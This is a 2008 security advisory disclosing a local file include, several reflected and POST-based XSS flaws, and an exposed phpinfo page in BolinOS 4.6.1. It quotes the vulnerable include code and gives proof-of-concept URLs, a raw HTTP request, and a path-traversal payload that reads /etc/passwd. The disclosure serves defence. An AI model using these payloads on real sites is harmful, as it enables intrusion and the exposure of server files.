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[DSECRG-08-022] Multiple Security Vulnerabilities in Bolinos 4.6.1 Mar 25 2008 05:12PM
Digital Security Research Group (research dsec ru)


Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022

Application: BolinOS
Versions Affected: 4.6.1
Vendor URL: http://www.bolinos.com
Bugs: Local File Include,Multiple XSS, System information disclosure
Exploits: YES
Reported: 13.03.2008
Second report: 18.03.2008
Vendor response: none
Solution: none
Date of Public Advisory: 25.03.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
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BolinOS system has multiple security vulnerabilities:

1. Local File Include
2. Multiple Linked XSS vulnerabilities
3. Multiple XSS in POST
4. System information disclosure

Details
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1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php

Code
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#################################################

$actionpagetoinclude=$_GET["_bFileToInclude"];
if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){
@include(gBRootPath."/$actionpagetoinclude");
}
else{
echo "NO FILE";
}

#################################################

Example:

http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFil
eToInclude=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------

2. Multiple linked XSS vulnerabilities found.

2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php

Attacker can inject XSS in GET parameter "url"

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImage
Viewer.php?url=<script>alert('DSecRG XSS')</script>

2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php

Attacker can inject XSS in GET parameter "ForEditor".

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselec
torContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">

2.3 Linked XSS vulnerabilities found in following pages:

/system/actionspages/_b/contentFiles/gBLoginPage.php
/system/actionspages/_b/contentFiles/gBPassword.php

Attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLogin
Page.php/"><script>alert('DSecRG XSS')</script>
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassw
ord.php/"><script>alert('DSecRG XSS')</script>

---------------------------------------------------------------------

3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter.

3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php

POST parameter "formlogin".

Example:

POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bo
linos.sessions HTTP/1.0
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)

formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&B
tLogin.x=

3.2 Vulnerability found in page /help/index.php

POST parameter "bolini_searchengine46Search".

Example:

bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG XSS")>

--------------------------------------------------------------------

4. System information disclosure

Non-authentication user can access phpinfo() page.

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpIn
fo.php

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